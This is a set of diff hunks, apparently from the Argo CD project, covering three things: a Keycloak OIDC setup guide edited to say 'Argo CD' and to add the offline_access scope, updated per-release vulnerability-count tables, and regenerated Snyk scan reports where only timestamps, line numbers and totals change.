Cosign signatures and SLSA provenances are compatible with several types of admission controllers. Please see the [cosign documentation](https://docs.sigstore.dev/policy-controller/overview/) and [slsa-github-generator](https://github.com/slsa-framework/slsa-github-generator/blob/main/internal/builders/container/README.md#verification) for supported controllers.
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
# Keycloak
|
||||
Keycloak and ArgoCD integration can be configured in two ways with Client authentication and with PKCE.
|
||||
Keycloak and Argo CD integration can be configured in two ways with Client authentication and with PKCE.
|
||||
|
||||
If you need to authenticate with __argo-cd command line__, you must choose PKCE way.
|
||||
|
||||
* [Keycloak and ArgoCD with Client authentication](#keycloak-and-argocd-with-client-authentication)
|
||||
* [Keycloak and ArgoCD with PKCE](#keycloak-and-argocd-with-pkce)
|
||||
* [Keycloak and Argo CD with Client authentication](#keycloak-and-argocd-with-client-authentication)
|
||||
* [Keycloak and Argo CD with PKCE](#keycloak-and-argocd-with-pkce)
|
||||
|
||||
## Keycloak and ArgoCD with Client authentication
|
||||
## Keycloak and Argo CD with Client authentication
|
||||
|
||||
These instructions will take you through the entire process of getting your ArgoCD application authenticating with Keycloak.
|
||||
These instructions will take you through the entire process of getting your Argo CD application to authenticate with Keycloak.
|
||||
|
||||
You will create a client within Keycloak and configure ArgoCD to use Keycloak for authentication, using groups set in Keycloak
|
||||
Start by creating a client within Keycloak and configure Argo CD to use Keycloak for authentication, using groups set in Keycloak
|
||||
to determine privileges in Argo.
|
||||
|
||||
### Creating a new client in Keycloak
|
||||
|
||||
First we need to setup a new client.
|
||||
First, setup a new client.
|
||||
|
||||
Start by logging into your keycloak server, select the realm you want to use (`master` by default)
|
||||
and then go to __Clients__ and click the __Create client__ button at the top.
|
||||
@@ -37,11 +37,11 @@ but it's not recommended in production).
|
||||
|
||||
Make sure to click __Save__.
|
||||
|
||||
There should be a tab called __Credentials__. You can copy the Client Secret that we'll use in our ArgoCD configuration.
|
||||
There should be a tab called __Credentials__. You can copy the Client Secret that we'll use in our Argo CD configuration.
|
||||
|
||||

|
||||
|
||||
### Configuring ArgoCD OIDC
|
||||
### Configuring Argo CD OIDC
|
||||
|
||||
Let's start by storing the client secret you generated earlier in the argocd secret _argocd-secret_.
|
||||
|
||||
@@ -68,7 +68,7 @@ data:
|
||||
clientID: argocd
|
||||
clientSecret: $oidc.keycloak.clientSecret
|
||||
refreshTokenThreshold: 2m
|
||||
requestedScopes: ["openid", "profile", "email", "groups"]
|
||||
requestedScopes: ["openid", "profile", "email", "groups", "offline_access"]
|
||||
```
|
||||
|
||||
Make sure that:
|
||||
@@ -80,18 +80,18 @@ Make sure that:
|
||||
- __requestedScopes__ contains the _groups_ claim if you didn't add it to the Default scopes
|
||||
- __refreshTokenThreshold__ is less than the client token lifetime. If this setting is not less than the token lifetime, a new token will be obtained for every request. Keycloak sets the client token lifetime to 5 minutes by default.
|
||||
|
||||
## Keycloak and ArgoCD with PKCE
|
||||
## Keycloak and Argo CD with PKCE
|
||||
|
||||
These instructions will take you through the entire process of getting your ArgoCD application authenticating with Keycloak.
|
||||
These instructions will take you through the entire process of getting your Argo CD application authenticating with Keycloak.
|
||||
|
||||
You will create a client within Keycloak and configure ArgoCD to use Keycloak for authentication, using groups set in Keycloak
|
||||
You will create a client within Keycloak and configure Argo CD to use Keycloak for authentication, using groups set in Keycloak
|
||||
to determine privileges in Argo.
|
||||
|
||||
You will also be able to authenticate using argo-cd command line.
|
||||
|
||||
### Creating a new client in Keycloak
|
||||
|
||||
First we need to setup a new client.
|
||||
First, setup a new client.
|
||||
|
||||
Start by logging into your keycloak server, select the realm you want to use (`master` by default)
|
||||
and then go to __Clients__ and click the __Create client__ button at the top.
|
||||
@@ -119,7 +119,7 @@ Now go to a tab called __Advanced__, look for parameter named __Proof Key for Co
|
||||

|
||||
Make sure to click __Save__.
|
||||
|
||||
### Configuring ArgoCD OIDC
|
||||
### Configuring Argo CD OIDC
|
||||
Now we can configure the config map and add the oidc configuration to enable our keycloak authentication.
|
||||
You can use `$ kubectl edit configmap argocd-cm`.
|
||||
|
||||
@@ -138,7 +138,7 @@ data:
|
||||
clientID: argocd
|
||||
enablePKCEAuthentication: true
|
||||
refreshTokenThreshold: 2m
|
||||
requestedScopes: ["openid", "profile", "email", "groups"]
|
||||
requestedScopes: ["openid", "profile", "email", "groups", "offline_access"]
|
||||
```
|
||||
|
||||
Make sure that:
|
||||
@@ -146,13 +146,13 @@ Make sure that:
|
||||
- __issuer__ ends with the correct realm (in this example _master_)
|
||||
- __issuer__ on Keycloak releases older than version 17 the URL must include /auth (in this example /auth/realms/master)
|
||||
- __clientID__ is set to the Client ID you configured in Keycloak
|
||||
- __enablePKCEAuthentication__ must be set to true to enable correct ArgoCD behaviour with PKCE
|
||||
- __enablePKCEAuthentication__ must be set to true to enable correct Argo CD behaviour with PKCE
|
||||
- __requestedScopes__ contains the _groups_ claim if you didn't add it to the Default scopes
|
||||
- __refreshTokenThreshold__ is less than the client token lifetime. If this setting is not less than the token lifetime, a new token will be obtained for every request. Keycloak sets the client token lifetime to 5 minutes by default.
|
||||
|
||||
## Configuring the groups claim
|
||||
|
||||
In order for ArgoCD to provide the groups the user is in we need to configure a groups claim that can be included in the authentication token.
|
||||
In order for Argo CD to provide the groups the user is in we need to configure a groups claim that can be included in the authentication token.
|
||||
|
||||
To do this we'll start by creating a new __Client Scope__ called _groups_.
|
||||
|
||||
@@ -174,7 +174,7 @@ Go back to the client we've created earlier and go to the Tab "Client Scopes".
|
||||
Click on "Add client scope", choose the _groups_ scope and add it either to the __Default__ or to the __Optional__ Client Scope.
|
||||
|
||||
If you put it in the Optional
|
||||
category you will need to make sure that ArgoCD requests the scope in its OIDC configuration.
|
||||
category you will need to make sure that Argo CD requests the scope in its OIDC configuration.
|
||||
Since we will always want group information, I recommend
|
||||
using the Default category.
|
||||
|
||||
@@ -184,7 +184,7 @@ Create a group called _ArgoCDAdmins_ and have your current user join the group.
|
||||
|
||||

|
||||
|
||||
## Configuring ArgoCD Policy
|
||||
## Configuring Argo CD Policy
|
||||
|
||||
Now that we have an authentication that provides groups we want to apply a policy to these groups.
|
||||
We can modify the _argocd-rbac-cm_ ConfigMap using `$ kubectl edit configmap argocd-rbac-cm`.
|
||||
@@ -205,7 +205,7 @@ In this example we give the role _role:admin_ to all users in the group _ArgoCDA
|
||||
|
||||
You can now login using our new Keycloak OIDC authentication:
|
||||
|
||||

|
||||

|
||||
|
||||
If you have used PKCE method, you can also authenticate using command line:
|
||||
```bash
|
||||
@@ -219,7 +219,7 @@ Once done, you should see
|
||||

|
||||
|
||||
## Troubleshoot
|
||||
If ArgoCD auth returns 401 or when the login attempt leads to the loop, then restart the argocd-server pod.
|
||||
If Argo CD auth returns 401 or when the login attempt leads to the loop, then restart the argocd-server pod.
|
||||
```
|
||||
kubectl rollout restart deployment argocd-server -n argocd
|
||||
```
|
||||
|
||||
@@ -14,51 +14,65 @@ recent minor releases.
|
||||
| | Critical | High | Medium | Low |
|
||||
|---:|:--------:|:----:|:------:|:---:|
|
||||
| [gitops-engine/go.mod](master/argocd-test.html) | 0 | 0 | 2 | 0 |
|
||||
| [go.mod](master/argocd-test.html) | 0 | 0 | 6 | 0 |
|
||||
| [ui/yarn.lock](master/argocd-test.html) | 0 | 4 | 5 | 2 |
|
||||
| [dex:v2.45.0](master/ghcr.io_dexidp_dex_v2.45.0.html) | 1 | 0 | 1 | 0 |
|
||||
| [go.mod](master/argocd-test.html) | 0 | 0 | 9 | 0 |
|
||||
| [ui/yarn.lock](master/argocd-test.html) | 0 | 7 | 5 | 2 |
|
||||
| [dex:v2.45.0](master/ghcr.io_dexidp_dex_v2.45.0.html) | 0 | 0 | 1 | 0 |
|
||||
| [haproxy:3.0.8-alpine](master/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.3-alpine](master/public.ecr.aws_docker_library_redis_8.2.3-alpine.html) | 0 | 0 | 0 | 0 |
|
||||
| [argocd:latest](master/quay.io_argoproj_argocd_latest.html) | 0 | 0 | 9 | 10 |
|
||||
| [argocd:latest](master/quay.io_argoproj_argocd_latest.html) | 0 | 0 | 6 | 4 |
|
||||
| [install.yaml](master/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](master/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
|
||||
### v3.3.2
|
||||
### v3.4.0-rc4
|
||||
|
||||
| | Critical | High | Medium | Low |
|
||||
|---:|:--------:|:----:|:------:|:---:|
|
||||
| [gitops-engine/go.mod](v3.3.2/argocd-test.html) | 0 | 0 | 2 | 0 |
|
||||
| [go.mod](v3.3.2/argocd-test.html) | 0 | 1 | 6 | 0 |
|
||||
| [ui/yarn.lock](v3.3.2/argocd-test.html) | 0 | 6 | 7 | 2 |
|
||||
| [dex:v2.43.0](v3.3.2/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.3.2/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.3-alpine](v3.3.2/public.ecr.aws_docker_library_redis_8.2.3-alpine.html) | 0 | 0 | 0 | 0 |
|
||||
| [argocd:v3.3.2](v3.3.2/quay.io_argoproj_argocd_v3.3.2.html) | 0 | 0 | 9 | 12 |
|
||||
| [install.yaml](v3.3.2/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.3.2/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
| [gitops-engine/go.mod](v3.4.0-rc4/argocd-test.html) | 0 | 0 | 2 | 0 |
|
||||
| [go.mod](v3.4.0-rc4/argocd-test.html) | 0 | 0 | 9 | 0 |
|
||||
| [ui/yarn.lock](v3.4.0-rc4/argocd-test.html) | 0 | 7 | 6 | 2 |
|
||||
| [dex:v2.45.0](v3.4.0-rc4/ghcr.io_dexidp_dex_v2.45.0.html) | 0 | 0 | 1 | 0 |
|
||||
| [haproxy:3.0.8-alpine](v3.4.0-rc4/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.3-alpine](v3.4.0-rc4/public.ecr.aws_docker_library_redis_8.2.3-alpine.html) | 0 | 0 | 0 | 0 |
|
||||
| [argocd:v3.4.0-rc3](v3.4.0-rc4/quay.io_argoproj_argocd_v3.4.0-rc3.html) | 0 | 0 | 6 | 4 |
|
||||
| [install.yaml](v3.4.0-rc4/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.4.0-rc4/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
|
||||
### v3.2.7
|
||||
### v3.3.6
|
||||
|
||||
| | Critical | High | Medium | Low |
|
||||
|---:|:--------:|:----:|:------:|:---:|
|
||||
| [go.mod](v3.2.7/argocd-test.html) | 0 | 1 | 6 | 0 |
|
||||
| [ui/yarn.lock](v3.2.7/argocd-test.html) | 0 | 6 | 9 | 2 |
|
||||
| [dex:v2.43.0](v3.2.7/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.2.7/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.2-alpine](v3.2.7/public.ecr.aws_docker_library_redis_8.2.2-alpine.html) | 0 | 1 | 0 | 13 |
|
||||
| [argocd:v3.2.7](v3.2.7/quay.io_argoproj_argocd_v3.2.7.html) | 0 | 0 | 0 | 1 |
|
||||
| [install.yaml](v3.2.7/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.2.7/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
| [gitops-engine/go.mod](v3.3.6/argocd-test.html) | 0 | 0 | 2 | 0 |
|
||||
| [go.mod](v3.3.6/argocd-test.html) | 0 | 0 | 7 | 0 |
|
||||
| [ui/yarn.lock](v3.3.6/argocd-test.html) | 0 | 9 | 8 | 2 |
|
||||
| [dex:v2.43.0](v3.3.6/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.3.6/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.3-alpine](v3.3.6/public.ecr.aws_docker_library_redis_8.2.3-alpine.html) | 0 | 0 | 0 | 0 |
|
||||
| [argocd:v3.3.6](v3.3.6/quay.io_argoproj_argocd_v3.3.6.html) | 0 | 0 | 6 | 6 |
|
||||
| [install.yaml](v3.3.6/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.3.6/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
|
||||
### v3.1.12
|
||||
### v3.2.8
|
||||
|
||||
| | Critical | High | Medium | Low |
|
||||
|---:|:--------:|:----:|:------:|:---:|
|
||||
| [go.mod](v3.1.12/argocd-test.html) | 0 | 1 | 6 | 0 |
|
||||
| [ui/yarn.lock](v3.1.12/argocd-test.html) | 1 | 6 | 9 | 2 |
|
||||
| [dex:v2.43.0](v3.1.12/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.1.12/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:7.2.11-alpine](v3.1.12/public.ecr.aws_docker_library_redis_7.2.11-alpine.html) | 0 | 1 | 0 | 11 |
|
||||
| [argocd:v3.1.12](v3.1.12/quay.io_argoproj_argocd_v3.1.12.html) | 0 | 0 | 18 | 27 |
|
||||
| [install.yaml](v3.1.12/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.1.12/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
| [go.mod](v3.2.8/argocd-test.html) | 1 | 1 | 7 | 0 |
|
||||
| [ui/yarn.lock](v3.2.8/argocd-test.html) | 0 | 9 | 10 | 2 |
|
||||
| [dex:v2.43.0](v3.2.8/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.2.8/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:8.2.2-alpine](v3.2.8/public.ecr.aws_docker_library_redis_8.2.2-alpine.html) | 0 | 1 | 0 | 13 |
|
||||
| [argocd:v3.2.8](v3.2.8/quay.io_argoproj_argocd_v3.2.8.html) | 0 | 0 | 0 | 1 |
|
||||
| [install.yaml](v3.2.8/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.2.8/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
|
||||
### v3.1.13
|
||||
|
||||
| | Critical | High | Medium | Low |
|
||||
|---:|:--------:|:----:|:------:|:---:|
|
||||
| [go.mod](v3.1.13/argocd-test.html) | 1 | 1 | 7 | 0 |
|
||||
| [ui/yarn.lock](v3.1.13/argocd-test.html) | 1 | 9 | 8 | 2 |
|
||||
| [dex:v2.43.0](v3.1.13/ghcr.io_dexidp_dex_v2.43.0.html) | 0 | 1 | 0 | 14 |
|
||||
| [haproxy:3.0.8-alpine](v3.1.13/public.ecr.aws_docker_library_haproxy_3.0.8-alpine.html) | 0 | 1 | 0 | 14 |
|
||||
| [redis:7.2.11-alpine](v3.1.13/public.ecr.aws_docker_library_redis_7.2.11-alpine.html) | 0 | 1 | 0 | 11 |
|
||||
| [argocd:v3.1.13](v3.1.13/quay.io_argoproj_argocd_v3.1.13.html) | 0 | 0 | 7 | 7 |
|
||||
| [install.yaml](v3.1.13/argocd-iac-install.html) | - | - | - | - |
|
||||
| [namespace-install.yaml](v3.1.13/argocd-iac-namespace-install.html) | - | - | - | - |
|
||||
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:30:29 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:35:51 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -881,7 +881,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32104
|
||||
Line number: 32111
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -933,7 +933,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32459
|
||||
Line number: 32466
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1049,7 +1049,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31900
|
||||
Line number: 31901
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1165,7 +1165,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31962
|
||||
Line number: 31963
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1223,7 +1223,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32075
|
||||
Line number: 32082
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1281,7 +1281,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32099
|
||||
Line number: 32106
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1339,7 +1339,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32459
|
||||
Line number: 32466
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1397,7 +1397,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32158
|
||||
Line number: 32165
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1455,7 +1455,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32554
|
||||
Line number: 32561
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1513,7 +1513,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 33012
|
||||
Line number: 33025
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1721,7 +1721,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32075
|
||||
Line number: 32082
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1895,7 +1895,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31900
|
||||
Line number: 31901
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1953,7 +1953,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31962
|
||||
Line number: 31963
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2011,7 +2011,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32075
|
||||
Line number: 32082
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2069,7 +2069,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32099
|
||||
Line number: 32106
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2127,7 +2127,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32459
|
||||
Line number: 32466
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2185,7 +2185,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32158
|
||||
Line number: 32165
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2243,7 +2243,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32554
|
||||
Line number: 32561
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2301,7 +2301,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 33012
|
||||
Line number: 33025
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2413,7 +2413,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31908
|
||||
Line number: 31909
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2469,7 +2469,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 31883
|
||||
Line number: 31890
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2525,7 +2525,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32007
|
||||
Line number: 32014
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2581,7 +2581,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32092
|
||||
Line number: 32099
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2637,7 +2637,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32106
|
||||
Line number: 32113
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2693,7 +2693,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32467
|
||||
Line number: 32474
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2749,7 +2749,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32432
|
||||
Line number: 32439
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2805,7 +2805,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 32911
|
||||
Line number: 32924
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2861,7 +2861,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 33335
|
||||
Line number: 33348
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
|
||||
@@ -456,7 +456,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:30:39 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:36:00 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -835,7 +835,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1351
|
||||
Line number: 1358
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -887,7 +887,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1706
|
||||
Line number: 1713
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1003,7 +1003,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1147
|
||||
Line number: 1148
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1119,7 +1119,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1209
|
||||
Line number: 1210
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1177,7 +1177,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1322
|
||||
Line number: 1329
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1235,7 +1235,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1346
|
||||
Line number: 1353
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1293,7 +1293,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1706
|
||||
Line number: 1713
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1351,7 +1351,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1405
|
||||
Line number: 1412
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1409,7 +1409,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1801
|
||||
Line number: 1808
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1467,7 +1467,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 2259
|
||||
Line number: 2272
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1675,7 +1675,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1322
|
||||
Line number: 1329
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1849,7 +1849,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1147
|
||||
Line number: 1148
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1907,7 +1907,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1209
|
||||
Line number: 1210
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -1965,7 +1965,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1322
|
||||
Line number: 1329
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2023,7 +2023,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1346
|
||||
Line number: 1353
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2081,7 +2081,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1706
|
||||
Line number: 1713
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2139,7 +2139,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1405
|
||||
Line number: 1412
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2197,7 +2197,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1801
|
||||
Line number: 1808
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2255,7 +2255,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 2259
|
||||
Line number: 2272
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2367,7 +2367,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1155
|
||||
Line number: 1156
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2423,7 +2423,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1130
|
||||
Line number: 1137
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2479,7 +2479,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1254
|
||||
Line number: 1261
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2535,7 +2535,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1339
|
||||
Line number: 1346
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2591,7 +2591,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1353
|
||||
Line number: 1360
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2647,7 +2647,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1714
|
||||
Line number: 1721
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2703,7 +2703,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 1679
|
||||
Line number: 1686
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2759,7 +2759,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 2158
|
||||
Line number: 2171
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
@@ -2815,7 +2815,7 @@
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">
|
||||
Line number: 2582
|
||||
Line number: 2595
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="19 known vulnerabilities found in 54 vulnerable dependency paths.">
|
||||
<meta name="description" content="25 known vulnerabilities found in 63 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:28:05 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:33:19 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following paths:</span>
|
||||
@@ -505,9 +505,9 @@
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>19</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>54 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2902</span> <span>dependencies</span></div>
|
||||
<div class="meta-count"><span>25</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>63 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>2860</span> <span>dependencies</span></div>
|
||||
